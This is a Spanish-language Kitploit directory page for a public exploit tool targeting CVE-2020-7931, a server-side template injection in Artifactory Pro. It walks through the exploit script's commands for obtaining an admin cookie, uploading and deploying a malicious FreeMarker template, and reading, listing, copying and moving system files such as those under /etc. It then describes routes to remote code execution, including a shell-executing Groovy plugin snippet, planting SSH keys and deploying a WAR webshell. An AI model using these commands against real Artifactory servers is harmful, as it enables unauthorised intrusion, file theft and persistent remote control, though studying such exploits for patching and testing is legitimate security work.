Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2020-7931 — Hackeando Artifactory con inyección de plantillas del lado del servidor | Kitploit
Herramientas/GitHubGitHub/gquere/cve-2020-7931
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónHerramienta de Acceso RemotoDesarrollo de Payloads
GitHubgquere/cve-2020-7931

CVE-2020-7931

Hackeando Artifactory con inyección de plantillas del lado del servidor

Ver Repositorio
50152hace 6 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2020-7931: Explotación de SSTI en Artifactory Pro

CVE-2020-7931 es una vulnerabilidad de desconfiguración intencionada en Artifactory que permite a los atacantes realizar inyecciones de plantilla del lado del servidor desde una plantilla FreeMarker.

La vulnerabilidad fue descubierta por Ryan Hanson de Atredis y fue corregida para todas las versiones afectadas a finales de 2019. Solo funciona en las versiones Pro de Artifactory, ya que otras versiones no tienen capacidades de plantillas.

Este repositorio contiene un script y una plantilla.

  • El script de Python es un envoltorio para automatizar la subida, implementación y ejecución de cargas útiles de plantilla.
  • La plantilla implementa muchas primitivas (lectura, listado, escritura...) que interactúan con el sistema de archivos y conducen a la Ejecución Remota de Código.

Contenido de la plantilla

La plantilla toma el primer parámetro GET para determinar su acción deseada. Las acciones válidas son:

root@kitploit:~
info                                    Returns info about the current configuration
read <filepath>                         Reads a file, as is
read_bytes <filepath>                   Reads a file binarily as integers
list <dirpath>                          List a directory contents
create_file <filepath>                  Create an empty file
mkdir <dirpath>                         Create a folder
delete <filepath>                       Delete a file or empty folder
move <src> <dst>                        Move a file (*)
copy <scr_path> <src_file> <dst>        Copy a file to the application's web root. Pay attention to the quirky arguments (**)

(*): move utiliza el método renameTo de Java que no funciona entre diferentes sistemas de archivos. Para realizar un movimiento entre sistemas de archivos, se debe copiar y luego mover, más información a continuación.

(**): el origen debe dividirse entre la ruta base y el nombre de archivo; el destino es relativo a la ruta raíz de la aplicación web de Artifactory, p.ej. /opt/jfrog/artifactory/tomcat/webapps/artifactory/

Uso del script

root@kitploit:~
usage: artifactory_CVE-2020-7931.py [-h] -H HOST [-u USER] [-p PASSWORD]
                                    [-c COOKIE] [-U UPLOAD] [-g]
                                    [-d DROP_TEMPLATE] [-e EXEC_TEMPLATE] [-r]
                                    [-R REPOSITORY_NAME]

optional arguments:
  -h, --help            show this help message and exit
  -H HOST, --host HOST
  -u USER, --user USER
  -p PASSWORD, --password PASSWORD
  -c COOKIE, --cookie COOKIE
  -U UPLOAD, --upload UPLOAD
  -g, --get_cookie
  -d DROP_TEMPLATE, --drop_template DROP_TEMPLATE
  -e EXEC_TEMPLATE, --exec_template EXEC_TEMPLATE
  -r, --reload_plugins
  -R REPOSITORY_NAME, --repository_name REPOSITORY_NAME
                        Default: example-repo-local

Obteniendo y configurando una cookie

root@kitploit:~
export cookie=$(./artifactory_CVE-2020-7931.py -H http://localhost:8081 -g -u admin -p password | grep '-') && echo $cookie

Subiendo un archivo

root@kitploit:~
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -U sample.groovy

Implementando la plantilla

root@kitploit:~
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -d sample.xml

Ejecutando la plantilla

root@kitploit:~
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -e sample.xml list /etc/
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -e sample.xml read /etc/password

Copiando un archivo entre puntos de montaje

Como hemos visto, renameTo() no funcionará entre diferentes sistemas de archivos. Para emular esto, primero copia el archivo y luego muévelo (¡hazlo inmediatamente, o Artifactory podría fallar!):

root@kitploit:~
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -e sample.xml copy /var/opt/jfrog/artifactory/data/tmp/artifactory-uploads/ bla /bla (***)
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -e sample.xml move /opt/jfrog/artifactory/tomcat/webapps/artifactory/bla /etc/bla

(***): Como se explicó anteriormente, aquí /bla en realidad se refiere a /opt/jfrog/artifactory/tomcat/webapps/artifactory/bla porque root.write() escribirá necesariamente en la raíz web de la aplicación actual.

Esto permite explotar configuraciones que almacenan artefactos en un sistema de archivos separado (¡lo cual es una buena práctica!).

Obteniendo Ejecución Remota de Código

Por defecto en una instalación de Artifactory, no es posible instanciar clases, por lo que el truco habitual freemarker.template.utility.Execute no funcionará.

Hay varias otras formas de obtener ejecución remota de código solo manipulando el sistema de archivos:

  • agregar una clave pública al archivo authorized_keys del usuario, lo que podría no funcionar por varias razones (quizás no hay SSH, quizás no tiene autenticación por clave pública, quizás está configurado para buscar en /etc/ssh/authorized_keys en lugar de en los directorios personales...)
  • ejecutar un plugin de Groovy
  • iniciar un servlet de Tomcat que implemente una webshell (shell web)

Ejecutando un plugin de Groovy

Aquí hay un ejemplo de un plugin de Groovy que realiza ejecución de shell, ejemplos más elaborados aquí:

root@kitploit:~
def proc = "ls -la /etc".execute();
def os = new StringBuffer();
proc.waitForProcessOutput(os, System.err);
println(os.toString());

Los plugins deben colocarse en la ruta de plugins /var/opt/jfrog/artifactory/etc/plugins/ y deben recargarse mediante una llamada a la API que requiere privilegios de administrador de Artifactory:

root@kitploit:~
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -r

Iniciando un servlet de Tomcat (desplegando un archivo .war)

Aquí hay un servlet de Tomcat que implementa una webshell.

Los archivos WAR deben colocarse en la ruta webapps de Tomcat /opt/jfrog/artifactory/tomcat/webapps/. Por defecto, el despliegue de archivos WAR es automático e iniciará otra aplicación web junto a la instancia de Artifactory, p.ej. en http://localhost:8081/sample/.

Este es el método preferido ya que no requiere privilegios de administrador de Artifactory y es más simple para ejecutar comandos sobre la marcha.

Descargar herramienta